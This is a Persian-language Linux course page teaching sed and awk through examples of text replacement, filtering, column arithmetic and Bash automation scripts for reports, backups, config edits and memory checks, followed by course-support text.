7. استفاده از awk برای پردازش ورودی‌های از پیش‌پردازش‌شده

در بعضی مواقع، داده‌ها ممکن است نیاز به پردازش ابتدایی با ابزارهای دیگر مانند sed یا grep داشته باشند. می‌توان از awk برای پردازش ورودی‌های از پیش‌پردازش‌شده استفاده کرد.

مثال 7: استفاده از awk پس از پردازش ورودی با grep

فرض کنید می‌خواهید فقط خطوطی که شامل “apple” هستند را از فایل data.txt فیلتر کنید و سپس برای هر کلمه در آن‌ها، طول رشته را محاسبه کنید. ابتدا از grep برای فیلتر کردن خطوط استفاده کرده و سپس از awk برای محاسبه طول کلمات استفاده می‌کنیم:

grep 'apple' data.txt | awk '{print length($0)}'

در این مثال:

  • grep 'apple' data.txt خطوطی که شامل “apple” هستند را فیلتر می‌کند.
  • awk '{print length($0)}' طول هر خط را چاپ می‌کند.

جمع‌بندی

ابزار awk یکی از قدرتمندترین ابزارهای پردازش داده‌ها در لینوکس است که برای فیلتر کردن، پردازش و محاسبه داده‌های متنی بسیار مفید است. از انتخاب ستون‌های خاص گرفته تا اعمال شرایط پیچیده و انجام محاسبات مختلف، awk انعطاف‌پذیری بسیار زیادی دارد. با استفاده از این ابزار می‌توانید به راحتی داده‌ها را پردازش کرده و خروجی‌های سفارشی دریافت کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مثال‌های کاربردی از sed و awk برای اصلاح فایل‌ها، گزارش‌ها و خروجی‌ها” subtitle=”توضیحات کامل”]در این بخش، به بررسی مثال‌های عملی از ابزارهای sed و awk می‌پردازیم که برای اصلاح و پردازش فایل‌ها، گزارش‌ها و خروجی‌ها مورد استفاده قرار می‌گیرند. این ابزارها از جمله ابزارهای قدرتمند پردازش متن در لینوکس هستند که قابلیت‌های زیادی برای جستجو، اصلاح، فیلتر کردن و پردازش داده‌ها فراهم می‌کنند.

1. اصلاح فایل‌ها با استفاده از sed

sed (Stream Editor) ابزاری برای پردازش و اصلاح داده‌ها به‌صورت خط به خط است. این ابزار معمولاً برای جایگزینی متنی، حذف خطوط یا اصلاحات ساده در فایل‌ها استفاده می‌شود.

مثال 1: جایگزینی یک عبارت در فایل

فرض کنید که در فایل data.txt می‌خواهید کلمه “old” را با “new” جایگزین کنید:

sed -i 's/old/new/g' data.txt

در این مثال:

  • -i باعث می‌شود که تغییرات به‌طور مستقیم در فایل data.txt اعمال شود.
  • 's/old/new/g' یک دستور جایگزینی است که تمام کلمات “old” را به “new” تغییر می‌دهد.
  • g به معنی انجام جایگزینی به‌صورت سراسری (در همه موارد موجود در هر خط) است.

مثال 2: حذف خطوط خاص از فایل

فرض کنید که می‌خواهید تمام خطوطی که حاوی کلمه “delete” هستند را از فایل data.txt حذف کنید:

sed -i '/delete/d' data.txt

در این مثال:

  • /delete/ به sed دستور می‌دهد که خطوطی که شامل کلمه “delete” هستند را پیدا کند.
  • d به معنی حذف کردن این خطوط است.

مثال 3: حذف فضای اضافی از ابتدا و انتهای هر خط

برای حذف فضای اضافی در ابتدا و انتهای هر خط در فایل data.txt، می‌توانید از دستور زیر استفاده کنید:

sed -i 's/^[ \t]*//;s/[ \t]*$//' data.txt

در این مثال:

  • ^[ \t]* به معنی فضای اضافی در ابتدای هر خط است (که شامل فضا و تب می‌شود).
  • [ \t]*$ به معنی فضای اضافی در انتهای هر خط است.

مثال 4: استفاده از sed برای تغییر متون بر اساس شرط

فرض کنید که در فایل data.txt تنها در صورتی که کلمه “error” در خطی وجود داشته باشد، بخواهید آن خط را با “fixed error” جایگزین کنید:

sed -i '/error/s/.*/fixed error/' data.txt

در این مثال:

  • /error/ به sed دستور می‌دهد که فقط خطوطی که شامل “error” هستند را پیدا کند.
  • s/.*/fixed error/ تمام محتوای آن خط را با “fixed error” جایگزین می‌کند.

2. اصلاح گزارش‌ها و خروجی‌ها با استفاده از awk

awk یک زبان برنامه‌نویسی قوی برای پردازش متنی است که به‌ویژه برای پردازش داده‌های ساختاریافته مانند فایل‌های CSV، گزارش‌ها و داده‌های ستونی مناسب است.

مثال 1: انتخاب و چاپ ستون‌های خاص در گزارش‌ها

فرض کنید که فایل report.txt شامل داده‌هایی با فرمت جدولی است که با تب از هم جدا شده‌اند. اگر بخواهید تنها ستون اول و سوم را چاپ کنید، از دستور زیر استفاده کنید:

awk -F'\t' '{print $1, $3}' report.txt

در این مثال:

  • -F'\t' مشخص می‌کند که جداکننده ستون‌ها تب (\t) است.
  • {print $1, $3} به awk دستور می‌دهد که ستون اول و سوم را چاپ کند.

مثال 2: جمع‌آوری مقادیر عددی از ستون‌ها و محاسبه مجموع

فرض کنید که در فایل sales.txt مقادیر فروش در ستون دوم قرار دارند و می‌خواهید مجموع این مقادیر را محاسبه کنید:

awk '{sum += $2} END {print "Total sales: " sum}' sales.txt

در این مثال:

  • {sum += $2} مقادیر ستون دوم را جمع می‌کند.
  • END {print "Total sales: " sum} پس از پردازش تمام خطوط، مجموع را چاپ می‌کند.

مثال 3: فیلتر کردن داده‌ها بر اساس شرایط

فرض کنید که در فایل data.txt ستون اول شامل سن افراد و ستون دوم درآمد آن‌ها است. می‌خواهید تنها داده‌های افرادی که سن آن‌ها بین 25 و 40 سال است و درآمدشان بیشتر از 50000 است را فیلتر کنید:

awk '$1 >= 25 && $1 <= 40 && $2 > 50000' data.txt

در این مثال:

  • $1 >= 25 && $1 <= 40 به awk دستور می‌دهد که فقط خطوطی را که سن بین 25 و 40 است انتخاب کند.
  • $2 > 50000 به awk دستور می‌دهد که فقط خطوطی که درآمد آن‌ها بیشتر از 50000 است انتخاب شود.

مثال 4: استفاده از awk برای محاسبه و چاپ فرمت سفارشی

فرض کنید که در فایل data.txt دو ستون داریم: نام و امتیاز. می‌خواهید امتیاز هر فرد را به درصد (0 تا 100) تبدیل کرده و در خروجی نمایش دهید:

awk '{print $1, "score:", ($2/100)*100 "%"}' data.txt

در این مثال:

  • $1 نام فرد است.
  • $2 امتیاز فرد است.
  • ($2/100)*100 امتیاز را به درصد تبدیل می‌کند.

مثال 5: اصلاح فایل‌ها و ذخیره تغییرات در یک فایل جدید

فرض کنید می‌خواهید در فایل data.txt تمام کلمات “apple” را به “orange” تغییر دهید، اما تغییرات را در یک فایل جدید به نام new_data.txt ذخیره کنید:

sed 's/apple/orange/g' data.txt > new_data.txt

در این مثال:

  • s/apple/orange/g کلمه “apple” را با “orange” جایگزین می‌کند.
  • > new_data.txt تغییرات را در فایل جدید new_data.txt ذخیره می‌کند.

جمع‌بندی

در این بخش، با استفاده از ابزارهای sed و awk، چندین مثال عملی از اصلاح فایل‌ها، گزارش‌ها و خروجی‌ها بررسی شد. sed بیشتر برای جایگزینی، حذف و ویرایش متنی ساده به کار می‌رود، در حالی که awk به‌ویژه برای پردازش داده‌های ساختاریافته و انجام محاسبات و فیلترهای پیچیده‌تر مفید است. با ترکیب این دو ابزار، می‌توان به راحتی عملیات پیچیده پردازش داده‌ها را در لینوکس انجام داد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ترکیب sed و awk با سایر دستورات سیستم برای اتوماسیون” subtitle=”توضیحات کامل”]در این بخش، به بررسی نحوه ترکیب ابزارهای sed و awk با سایر دستورات سیستم برای اتوماسیون پردازش داده‌ها و فایل‌ها خواهیم پرداخت. استفاده از این ابزارها همراه با دستورات سیستم می‌تواند فرآیندهای پیچیده را خودکار کرده و عملیات مدیریتی و پردازشی را سریع‌تر و کارآمدتر انجام دهد.

1. استفاده از sed و awk در اسکریپت‌های Bash برای پردازش فایل‌ها

یکی از رایج‌ترین روش‌ها برای استفاده از sed و awk، ترکیب آن‌ها با اسکریپت‌های Bash است تا بتوانید عملیات پیچیده‌تری را انجام دهید. با ترکیب این ابزارها، می‌توان وظایف مختلف مانند ویرایش، پردازش و اصلاح فایل‌ها را به‌صورت خودکار انجام داد.

مثال 1: استفاده از sed و awk برای پردازش فایل‌ها و ارسال خروجی به ایمیل

فرض کنید یک فایل گزارش (report.txt) دارید که باید پردازش شده و خروجی آن به ایمیل ارسال شود. در ابتدا، از sed برای اصلاح داده‌ها و سپس از awk برای فیلتر کردن اطلاعات خاص استفاده می‌کنیم.

#!/bin/bash

# اصلاح و پردازش داده‌ها با sed
sed 's/old_value/new_value/g' report.txt > temp_report.txt

# فیلتر کردن داده‌ها با awk
awk '$3 > 100' temp_report.txt > filtered_report.txt

# ارسال گزارش نهایی به ایمیل
mail -s "Processed Report" user@example.com < filtered_report.txt

# حذف فایل‌های موقت
rm temp_report.txt filtered_report.txt

در این مثال:

  • ابتدا با sed تمامی کلمات “old_value” را با “new_value” جایگزین کرده و فایل اصلاح‌شده را در temp_report.txt ذخیره می‌کنیم.
  • سپس از awk برای فیلتر کردن داده‌هایی که در ستون سوم مقدار بزرگتر از 100 دارند، استفاده می‌کنیم.
  • در نهایت، گزارش پردازش‌شده را با استفاده از دستور mail به ایمیل ارسال می‌کنیم.

مثال 2: اتوماسیون پشتیبان‌گیری از فایل‌ها با استفاده از sed, awk و tar

فرض کنید که برای پشتیبان‌گیری از فایل‌ها به‌طور منظم نیاز به استخراج و فشرده‌سازی فایل‌های خاص دارید. می‌توانید از sed و awk برای فیلتر کردن فایل‌های مورد نظر و سپس فشرده‌سازی آن‌ها استفاده کنید.

#!/bin/bash

# فیلتر کردن فایل‌هایی که تغییرات جدید دارند
awk '{if ($3 == "new") print $1}' file_list.txt > new_files.txt

# استخراج و فشرده‌سازی فایل‌ها
tar -czf backup_$(date +%Y%m%d).tar.gz -T new_files.txt

# ارسال گزارش به مدیر
echo "Backup completed on $(date)" | mail -s "Backup Report" admin@example.com

در این مثال:

  • از awk برای فیلتر کردن فایل‌هایی که در ستون سوم وضعیت “new” دارند، استفاده می‌شود.
  • سپس از دستور tar برای فشرده‌سازی فایل‌ها و ایجاد پشتیبان استفاده می‌شود.
  • در نهایت، یک گزارش به مدیر ارسال می‌شود.

مثال 3: استفاده از sed و awk برای اصلاح فایل‌های پیکربندی و راه‌اندازی سرویس‌ها

فرض کنید که می‌خواهید فایل پیکربندی یک سرویس را بر اساس داده‌هایی که از ورودی کاربر دریافت کرده‌اید، اصلاح کنید و سپس سرویس را راه‌اندازی کنید.

#!/bin/bash

# دریافت ورودی کاربر برای تنظیمات جدید
echo "Enter the new database host:"
read new_host

# اصلاح فایل پیکربندی با sed
sed -i "s/^DB_HOST=.*/DB_HOST=$new_host/" /etc/myapp/config.conf

# اعمال تغییرات با راه‌اندازی مجدد سرویس
systemctl restart myapp.service

# تایید تغییرات
echo "Configuration updated and service restarted."

در این مثال:

  • ابتدا از کاربر ورودی برای آدرس جدید دیتابیس گرفته می‌شود.
  • سپس با استفاده از sed مقدار DB_HOST در فایل پیکربندی /etc/myapp/config.conf تغییر می‌کند.
  • در نهایت، با استفاده از systemctl سرویس myapp مجدداً راه‌اندازی می‌شود.

2. ترکیب sed و awk با دستورات مدیریت فایل

یکی از کاربردهای دیگر ترکیب sed و awk با دستورات مدیریت فایل مانند find و xargs برای پردازش دسته‌ای از فایل‌ها است.

مثال 4: جستجو و اصلاح فایل‌ها در دایرکتوری‌ها با استفاده از find, sed و awk

فرض کنید می‌خواهید در تمامی فایل‌های متنی یک دایرکتوری تغییراتی ایجاد کنید. می‌توانید از دستور find برای جستجو و سپس از sed و awk برای پردازش استفاده کنید.

#!/bin/bash

# جستجو و اصلاح همه فایل‌های متنی
find /path/to/directory -type f -name "*.txt" | while read file
do
  # استفاده از sed برای جایگزینی در هر فایل
  sed -i 's/old_text/new_text/g' "$file"
  
  # استفاده از awk برای فیلتر کردن داده‌ها
  awk '{if ($2 > 50) print $0}' "$file" > "$file.tmp"
  mv "$file.tmp" "$file"
done

در این مثال:

  • دستور find برای جستجو در دایرکتوری و پیدا کردن همه فایل‌های متنی (*.txt) استفاده می‌شود.
  • در داخل حلقه while، از sed برای جایگزینی متنی و از awk برای فیلتر کردن داده‌ها استفاده می‌شود.
  • در نهایت، فایل‌ها به‌روزرسانی می‌شوند.

3. استفاده از sed و awk برای تجزیه و تحلیل خروجی دستورات سیستم

یکی دیگر از کاربردهای مهم، استفاده از sed و awk برای پردازش و تجزیه و تحلیل خروجی دستورات سیستم است.

مثال 5: تجزیه و تحلیل استفاده از حافظه با free, sed و awk

فرض کنید می‌خواهید میزان حافظه استفاده‌شده از سیستم را بررسی کرده و نتایج آن را در یک گزارش ذخیره کنید:

#!/bin/bash

# دریافت استفاده از حافظه
free -h | sed -n '2p' | awk '{print "Used Memory: " $3 " out of " $2}' > memory_report.txt

# ارسال گزارش به ایمیل
mail -s "Memory Usage Report" user@example.com < memory_report.txt

در این مثال:

  • از دستور free -h برای نمایش استفاده از حافظه استفاده می‌شود.
  • با استفاده از sed، تنها خط دوم (که شامل اطلاعات استفاده از حافظه است) انتخاب می‌شود.
  • سپس awk برای فرمت‌دهی خروجی به‌کار می‌رود.
  • در نهایت، گزارش استفاده از حافظه به ایمیل ارسال می‌شود.

جمع‌بندی

ترکیب ابزارهای sed و awk با سایر دستورات سیستم مانند find, xargs, mail, tar, systemctl و دیگر دستورات لینوکسی می‌تواند به اتوماسیون فرآیندهای مختلف کمک کند. این ترکیب به شما امکان می‌دهد تا به‌طور خودکار فایل‌ها را پردازش، گزارش‌ها را تولید، سرویس‌ها را مدیریت و داده‌ها را تجزیه و تحلیل کنید.[/cdb_course_lesson][/cdb_course_lessons]

[cdb_course_lessons title=”پاسخ به سوالات فنی کاربران”][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”free” title=”پشتیبانی دائمی و در لحظه” subtitle=”توضیحات کامل”]ما در این دوره تمام تلاش خود را کرده‌ایم تا محتوایی جامع و کاربردی ارائه دهیم که شما را برای ورود به دنیای حرفه‌ای آماده کند. اما اگر در طول دوره یا پس از آن با سوالات فنی، چالش‌ها یا حتی مشکلاتی در اجرای مطالب آموزشی مواجه شدید، نگران نباشید!

  1. پرسش‌های شما، بخش مهمی از دوره است:
    هر سوال یا مشکلی که مطرح کنید، با دقت بررسی شده و پاسخ کامل و کاربردی برای آن ارائه می‌شود. علاوه بر این، سوالات و پاسخ‌های شما به دوره اضافه خواهند شد تا برای سایر کاربران نیز مفید باشد.
  2. پشتیبانی دائمی و در لحظه:
    تیم ما همواره آماده پاسخگویی به سوالات شماست. هدف ما این است که شما با خیالی آسوده بتوانید مهارت‌های خود را به کار بگیرید و پروژه‌های واقعی را با اعتماد به نفس کامل انجام دهید.
  3. آپدیت دائمی دوره:
    این دوره به طور مداوم به‌روزرسانی می‌شود تا همگام با نیازهای جدید و سوالات کاربران تکمیل‌تر و بهتر گردد. هر نکته جدید یا مشکل رایج، در نسخه‌های بعدی دوره قرار خواهد گرفت.

حرف آخر

با ما همراه باشید تا نه تنها به مشکلات شما پاسخ دهیم، بلکه در مسیر یادگیری و پیشرفت حرفه‌ای، شما را پشتیبانی کنیم. هدف ما این است که شما به یک متخصص حرفه‌ای و قابل‌اعتماد تبدیل شوید و بتوانید با اطمینان پروژه‌های واقعی را بپذیرید و انجام دهید.

📩 اگر سوالی دارید یا به مشکلی برخوردید، همین حالا مطرح کنید!
ما در کوتاه‌ترین زمان ممکن پاسخ شما را ارائه خواهیم داد. 🙌[/cdb_course_lesson][/cdb_course_lessons]

نقد و بررسی ها

نقد و بررسی وجود ندارد.

فقط مشتریانی که وارد سیستم شده اند و این محصول را خریداری کرده اند می توانند نظر بدهند.

سبد خرید

سبد خرید شما خالی است.

ورود به سایت